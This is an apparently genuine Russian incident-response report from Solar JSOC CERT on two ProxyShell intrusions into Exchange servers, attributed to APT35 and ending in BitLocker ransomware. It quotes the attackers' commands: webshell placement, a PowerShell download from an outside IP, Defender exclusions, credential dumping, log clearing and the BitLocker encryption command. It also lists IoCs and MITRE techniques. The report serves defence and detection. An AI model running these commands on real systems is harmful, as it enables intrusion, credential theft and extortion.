С мая 2022 года мы столкнулись с двумя кейсами, где атакующие используют уязвимость Microsoft Exchange ProxyShell для первоначального доступа и размещения веб-шеллов. Скорее всего, атака связана с группой APT35 (иранская группировка, спонсируемая государством). К такому выводу мы пришли, проанализировав тактики и техники, приписываемые группе. Также некоторые обнаруженные индикаторы схожи с теми, что атрибутированы группе. Но обо всем по порядку.
С чего все началось
Чего обычно хотят группировки, действующие в интересах какого-то государства? Их типичные цели - это шпионаж и кража ценных данных. Однако наши кейсы - исключение из правил. Атаке подвергались коммерческие компании, которые в обычных условиях не попали бы в поле зрения таких группировок. Их конечная цель сместилась на получение финансовой выгоды путем шифрования инфраструктуры атакованной компании и требования выкупа. Вспоминаются небезызвестные Lazarus, которые занимаются масштабным кибершпионажем, но при этом осуществляют атаки на криптовалюты, криптобиржи и используют шифровальщики для получения финансовой выгоды. Возникают интересные вопросы. Являются ли попытки прямой монетизации атаки для таких злоумышленников следствием урезания финансирования? Были ли такие действия санкционированы? Пойдут ли по такому же пути иные группировки? Скорее всего, время покажет.
Но вернемся к атаке. Интересен способ отправки требования выкупа. Для этого использовалась обычная печать на принтере. Пример такого письма:
Получив такие письма, жертвы обратились к нам, и к исследованию подключились специалисты Solar JSOC CERT. Ниже описаны тактики, техники и инструменты, использованные в атаках. Данные нам удалось получить в результате исследования образов систем.
Первоначальный доступ
Как упоминалось ранее, для атаки была задействована уязвимость ProxyShell. Для подтверждения использования уязвимости можно обратиться к журналу MSExchange Management и журналам из каталога W3SVC1 (для дополнительного подтверждения можно посмотреть и другие журналы).
Для первоначального размещения веб-шеллов с использованием уязвимости ProxyShell применялись команды:
New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "<REDACTED>@<REDACTED>" – присвоение корректной роли учетной записи для возможности импорта и экспорта почтового ящика;
New-MailboxExportRequest -Mailbox "<REDACTED>@<REDACTED>" -FilePath "\\localhost\E$\ExchangeServer\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_qdiaxtuajjd'" – команда для экспорта почтового ящика с темой «aspx_qdiaxtuajjd» в файл с расширением aspx. В указанном примере можно обратить внимание на использование нестандартного раздела (не C:\) для установленной версии Exchange;
Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "26893b0c-dfc1-4776-83d0-e489e3506b32" – команда на удаление запроса выше.
Загруженный веб-шелл имеет функции загрузки и выгрузки файлов, а также запуска определённых исполняемых файлов. Например, может выполнять команды через оболочку powershell.
Расположение и наименования первоначального веб-шелла:
\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_scyieqfkxna.aspx
\\localhost\E$\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_qdiaxtuajjd.aspx
\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_pdydmpramaj.aspx
Можно отметить, что атакующие корректно определяют раздел, на который установлено ПО Microsoft Exchange, что необходимо для эксплуатации размещенных веб-шеллов.
Обратите внимание, что наименование веб-шеллов, размещенных с использованием ProxyShell, имеет повторяющийся паттерн: константа «aspx_», после чего идет 12 случайных символов латинского алфавита и расширение «.aspx».
Пример кода веб-шелла:
Что интересно, после размещения такого многофункционального веб-шелла, осуществляется размещение меньших веб-шеллов:
Расположения, в которых последние размещались:
C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx
E:\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\login.aspx
C:\inetpub\wwwroot\aspnet_client\system_web\default.aspx.req
C:\inetpub\wwwroot\aspnet_client\system_web\info.aspx.req
Последовательность действий после осуществления первоначального доступа:
Создается исключение из проверок для Microsoft Defender для каталога C:\Windows:
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows
После проникновения осуществляется последовательное размещение трех исполняемых файлов, их запуск, и выполнение некоторых команд. Размещенные файлы:
C:\windows\temp\user.exe
C:\windows\temp\task_update.exe
C:\Windows\dllhost.exe
Описание действий, осуществляемых исполняемыми файлами приведено далее.
Осуществляется разведка
C:\windows\system32\query.exe
C:\windows\system32\quser.exe
Добавляется правило для FW:
FW rule added to exception list | *: * | : Terminal Server | LocalPorts:3389 | RemotePorts:*
Запускается TermService
Изменяется значение ключа UseLogonCredential по пути к ветке реестра Control\SecurityProviders\WDigest, которому присвоено значение «1», что позволяет хранить пароли в открытом виде в памяти.
В обоих случаях имеются следы дампа процесса lsass. В первом случае имеются следы обращения к файлу C:\Users\DefaultAccount\AppData\Local\Temp\lsass.zip с использованием созданной учетной записи DefaultAccount. При этом указанные следы имеются уже после первоначальных следов доступа. За 30 секунд до создания дампа имелись следы запуска менеджера задач (taskmgr.exe), с использованием которого можно создать дамп процесса, который будет сохранен по умолчанию в каталог, в котором находился файл «lsass.zip». Во втором случае имеется файл С:\Windows\Temp\ssasl.pmd, который архивирован в \Windows\Temp\ssasl.zip. Можно заметить, что имя файла «ssasl.pmd» представляет собой зеркальную запись от «lsass.dmp». Указанные следы имеются сразу после первоначального доступа.
Можно обратить внимание, что все вышеперечисленные действия, начиная с эксплуатации ProxyShell до размещения ВПО и его закрепления, осуществляются менее чем за 10 минут и имеют видимый повторяющийся паттерн. Таким образом, можно предположить, что все они осуществляются автоматически.
Анализ ВПО
Файл «user.exe». Предназначен для создания учетной записи DefaultAccount c паролем «P@ssw0rd1234», добавления учетной записи в группе локальных администраторов (окончательный список групп: Administrators, Remote Desktop Users, Distributed COM Users, System Managed Accounts Group), разрешения RDP-доступа к указанной УЗ.
Файл «task_update.exe». При запуске выполняет следующие действия:
schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet'
schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet'
try { Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {}
powershell /c {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'http://172.245.26.118/aaa' -OutFile $file}
certutil -addstore -f root C:\Windows\Temp\cert.cer
Таким образом, файл создает и запускает задачу Wininet, добавляет каталог «C:\Windows» в исключения для Microsoft Defender, загружает файл «c:\windows\dllhost.exe» и добавляет самоподписанный сертификат в корневые с использованием certutil из файла C:\Windows\Temp\cert.cer. На одном из хостов обнаружен такой сертификат:
При этом на исследованных хостах имеются 2 задачи, одна из которых предположительно создается через веб-шелл:
\Microsoft\Windows\Maintenance\Wininet
\'\Microsoft\Windows\Maintenance\Wininet'
Данные командного файла «Wininet.bat»:
Как видно, командный файл просто запускает исполнение программы «dllhost.exe» в бесконечном цикле.
Файл «dllhost.exe» является измененной программой реверс-прокси FRPC, собранной из проекта https://github.com/fatedier/frp. Программа написана на языке Go. Ей может быть отдан параметр IP-адреса, к которому осуществляется подключение. Также установлено, что в программе имеются следующие домены:
kcp53.tcp443[.]org
tcp443.tcp443[.]org
kcp53.msupdate[.]us
tcp443.msupdate[.]us
После запуска выполняются команды:
powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"
cmd /c "wmic computersystem get domain"
5. Файл C:\Users\kdadmin\Desktop\New folder\install-proxy.bat, данные:
Командный файл выполняет следующие действия:
Добавляет каталог «C:\ProgramData» в исключения для Microsoft Defender, создает каталог C:\ProgramData\Microsoft\Windows\DllHost, копирует в него файл dllhost.exe, создает другой командный файл C:\ProgramData\Microsoft\CacheTask.bat.
Сохраняет сертификат, хранящийся в теле командного файла в файл С:\Windows\Temp\cert.cer и устанавливает его в качестве корневого. Можно отметить, что сертификат совпадает с тем, который описан ранее (файлы сертификата и командного найдены на разных хостах).
Далее создает и запускает задачу "\Microsoft\Windows\Maintenance\CacheTask", после чего удаляет файл «CacheTask.xml» и самого себя. Можно отметить, что функционал задачи CacheTask полностью аналогичен задаче Wininet – запуск программы-прокси «dllhost.exe» с использованием командного файла «CacheTask.bat» (предположительно аналогичен «Wininet.bat»).
Исследование атаки. Продолжение
Дальнейшее развитие атаки осуществлялось с использованием созданной учетной записи DefaultAccount, в результате подключения по RDP. При этом в большинстве случаев в событиях создания сессии RDP из журналов ОС содержали внешние IP-адреса атакованных систем или 127.0.0.1, предположительно из-за использования программы-прокси dllhost.exe. Однако в одном из кейсов имеется событие eventid 131 (RDP server accepted a new TCP connection) в котором числится IP-адрес, 86.57.3.147, предположительно принадлежащий атакующим. А согласно данным из открытых источников, указанный адрес принадлежит сети AS 43754 (Asiatech Data Transmission company), которая находится как раз в Иране.
После получения учетных записей (после включения хранения паролей в памяти в открытом виде и дампа процесса lsass) осуществляется перемещение на другие хосты компании, также с активным использованием RDP.
Также на различных хостах можно отметить следующие следы:
Использование программы SoftPerfectNetworkScanner. C:\Users\DefaultAccount\Desktop\netscanold.zip – архив, в котором находится исполняемый «netscanold.exe», который является программой SoftPerfectNetworkScanner. Также в архиве находится файл конфигурации «netscanold.xml». Результат сканирования помещался в файл C:\Users\DefaultAccount\Desktop\scan.xml.
Файлы C:\Windows\System32\ewBnYdgI.tmp и C:\Windows\System32\nXGpPHzT.tmp – дампы реестров SAM и Security.
Интересные запуски команд для получения данных УЗ и аудита домена:
.\secretsdump.exe <username>:<password>@<IP address> >hash.txt. Следы запуска скомпилированной версии программы https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/secretsdump.py, предназначенной для получения дампа хэшей паролей УЗ.
.\ADAudit.ps1. Следы запуска скрипта ADAudit.ps1, предположительно взятого из проекта https://github.com/phillips321/adaudit/blob/master/AdAudit.ps1, который позволяет провести быстрый аудит домена.
На одном из хостов контроллера домена сохранились команды, которые отдавались в кодированном в base64 виде (команда запуска «powershell.exe -NoP -NoL -NonI -Exec Bypass -Enc»), далее уже декодированные команды:
$ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Start-Sleep -s 1800; shutdown /r /f /t 0}.
Команда на выключение компьютера через 1800 секунд (30 минут)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe net start schedule; Set-Service -Name eventlog -StartupType auto; net start eventlog; wevtutil cl 'Security'; wevtutil cl 'System'; wevtutil cl 'Windows PowerShell'; wevtutil cl 'Microsoft-Windows-PowerShell/Operational'; wevtutil cl 'Microsoft-Windows-TerminalServices-LocalSessionManager/Admin'; wevtutil cl 'Microsoft-Windows-BitLocker/BitLocker Management'.
Команда на удаление различных журналов ОС Windows.$ProgressPreference="SilentlyContinue";Start-Process powershell.exe {Set-Service -Name eventlog -StartupType disabled; net stop eventlog /y; takeown /F C:\Windows\System32\fvenotify.exe; icacls C:\Windows\System32\fvenotify.exe /deny EVERYONE:F}.
Команда – остановка журналирования ОС, получение прав на fvenotify.exe (исполняемый BitLocker) и запрет для всех пользователейC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe if (Get-Command Get-ClusterSharedVolume -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterSharedVolume) { Suspend-ClusterResource $Cluster -Force; $PlainPassword='66f69e-<REDACTED>; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force; enable-bitlocker $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly;} }.
Команда для запуска шифрования. Обратите внимание на использование пароля в открытом виде.
Выводы
Учитывая изложенные выше данные и основываясь на том, что сразу после успешного размещения веб-шеллов осуществляется размещение различных исполняемых файлов, можно предположить, что группа разработала какой-то автоматизированный инструментарий для поиска уязвимых серверов и проведения атак на них.
После получения первоначального доступа осуществляется доступ по протоколу RDP, компрометация иных учетных записей, в далее - горизонтальное перемещение по локальной сети организации и компрометация домена. После этого осуществляется шифрование с использованием BitLocker и оставляется сообщение с требованиями вымогателей.
Интересна скорость развития атаки. В одном случае буквально на следующий день после получения первоначального доступа произошла компрометация домена и была выполнена попытка шифрования с использованием BitLocker. В другом - развитие атаки было более медленным и заняло 11 дней.
Если учесть, что у хакеров есть автоматизированный инструментарий, можно ожидать продолжение атак на различные сети организаций в России.
Индикаторы компрометации (IoC)
Файловые индикаторы
Имя | MD5 | SHA1 | SHA256 | Описание |
aspx_qdiaxtuajjd.aspx | 79dc1761e54baabbbb8d2938c1ebdb42 | 2d11db1bd96d649afec7f3cff49c291a512578d9 | 146cbe779d8d88f7aaa3d8b2c7c3ca28d8f62d1e1f1a62db76c1ccbcb34453cb | Веб-шелл |
aspx_scyieqfkxna.aspx | c7b65c9658058ff9c7017b2af503f9e2 | 493b2e041d6b7411fc25632727149aee8542a586 | 4d632d0aeb885d53dff495f06af232ba7754d74263e7a284a34edd590ec7bb2c | Веб-шелл |
aspx_pdydmpramaj.aspx | 618050829a8e744b8873e43da8a4e3c1 | 5f7cbfe775699638458991564b444415e3c8785c | 8ef98860d912997a89bf9da097be86ec97895e16c97f6eb44c71ef51b28a2663 | Веб-шелл |
login.aspx | b51ab1b5af0e021a13f99d707c2f09fd | 1dc582e071a6c484c64bab6af62d72fafc868593 | ec7f9544c6c757e22bb7f496587334d84914896c2550420a05e96c86e5cafcaf | Дополнительный веб-шелл |
default.aspx | 1d513c7e5d4c0b319bf94a7f6384bba6 | c48e82062fa0b711557976f1fb28a8bcb2886c80 | 8e1437356c933c806fd38b3784f502da7226d598ce015436f80e31fb68185153 | Дополнительный веб-шелл |
default.aspx.req | 0f7bc1eabdc6ab9e45eb65de7077f829 | ca513db841ce6bf0cb098fffbaaf79791299c63c | 19aebcc4b36103b95bc8736edf6fec0930f1b5f7b9829167ba1b966befae7df8 | Дополнительный веб-шелл |
info.aspx.req | 78502913d70b5170f8cac7fba2b1142d | de9eac9bb463855ab83a2bac8d26c0e1a8f55521 | d28c5788b5f43c41f137ae023f48c3e5d4f72dea7cd16de195ae247da3b9505d | Дополнительный веб-шелл |
dllhost.exe | d55fa23a67fa7ce17b237e1b55274ac5 | ce908b5651c7456edd71ed9e0d29dca575bd20e5 | f0fb2a5161e8fe786567114d745687d225b80a532ff9313c40fa49bf6002c686 | Программа-прокси, измененная FRPC |
dllhost.exe | 43d6ebb2162e02dde008d6e4ccc1332d | b7a53f52484a32b2dd6023f570f8644edb0f576f | e4901d9a00d550ff2c6e24496e20e769f2ce253a191d6c5492312f1b5053cd64 | Программа-прокси, измененная FRPC |
wininet.bat | 5f098b55f94f5a448ca28904a57c0e58 | 27102b416ef5df186bd8b35190c2a4cc4e2fbf37 | 668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0 | Командный для запуска dllhost.exe |
install-proxy.bat | 0fd744b6832c57a2490819764805dfe9 | 2523c1e8cf2a15cd265847e5265766d3ffa0ab1d | 3d2a2d6ef842ed3246c4f14d352b99b0269e1ffdbc965c13a2382c82bda90b14 | Командный для закрепления программы-прокси |
task_update.exe | 0bbb57cacc082306d78dbe1b95b2b9b7 | b6fa7273f7d0255e31542c7782df6a136f49fd5d | 3d13af2f01cbae96b326a40c5e0399adbb332ab803ba8fc4c27763b5eae26f73 | Программа для загрузки и закрепления программы-прокси |
user.exe | 90ea3af8f0ded9fa6faee010136267c8 | b3e051de5210258eb87b0ed7f0c137a240fc76d4 | 600b927e511d53b7c7c5f4527b6757f1337aff741724aabc429ded097d01f412 | Программа для создания УЗ DefaultAccount |
cert.cer | 0ce5a40d8f50c0435e38b88bf6b0a92d | 6970700bc5e0df88e107034bcdad0449c134da08 | f85b88a89e7ccef6cd71c4bece78562fe10955663227c5d836408c172efbd99a | Сертификат, использованный в атаке |
wininet.xml | d2f4647a3749d30a35d5a8faff41765e | 0f676bc786db3c44cac4d2d22070fb514b4cb64c | 559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e | Используется для создания задачи WinInet |
Сетевые индикаторы:
· kcp53.tcp443[.]org
· tcp443.tcp443[.]org
· kcp53.msupdate[.]us
· tcp443.msupdate[.]us
· kcp53[.]mssync[.]one
· tcp443[.]mssync[.]one
· 86.57.3[.]147
· 91.203.74[.]214
· 104.21.23[.]5
· 172.245.26[.]118
· 94.232.46[.]57
· 201.116.118[.]22
Тактики техники и процедуры
Тактика | Техника | Описание |
Initial Access | Exploit Public-Facing Application – T1190 | Первоначальный доступ через уязвимость Microsoft Exchange |
Windows Command Shell – T1059 | Исполнение через оболочку командной строки, оболочку powershell | |
| Create Account: Local Account– T1136.001
| Создание и добавление УЗ DefaultAccount |
Web Shell – T1505.003 | Размещение веб-шеллов через ProxyShell | |
Scheduled Task/Job: Scheduled Task T1053.005 | Создание и исполнение задачи для запуска dllhost.exe | |
Privilege Escalation | Valid Accounts – T1078
| Использование существующих привилегированных доменных УЗ |
Match Legitimate Name or Location – T1036.005 | Использование наименования «dllhost.exe» для маскировки под легитимный файл | |
Impair Defenses: Disable or Modify Tools -T1562.001 | Добавление исключений для Microsoft Defender | |
Impair Defenses: Disable Windows Event Logging - T1562.002 | Остановка журналов ОС Windows | |
Indicator Removal on Host: Clear Windows Event Logs - T1070.001 | Очистка журналов ОС Windows | |
OS Credential Dumping – T1003
| Дамп процесса lsass. Дампы реестра SAM, Security | |
System Information Discovery – T1082 | Разведка с использованием dllhost.exe, следы использования quser.exe, query.exe | |
Network Service Discovery – T1046 | Использование программы Softperfect Network Scanner | |
Remote Services: Remote Desktop Protocol T1021.001 | Для перемещения по локальной сети использовался RDP | |
Archive Collected Data T1560 | Архивирование дампа lsass | |
Ingress Tool Transfer – T1105 | Загрузка dllhost.exe с использованием Invoke-WebRequest | |
Proxy T1090 | Использовалась измененная программа-прокси FRPC | |
Data Encrypted for Impact -T1486 | Шифрование с использованием BitLocker | |
System Shutdown/Reboot - T1529 | Перезагрузка систем |
Автор: Иван Сюхин, руководитель группы реагирования Solar JSOC CERT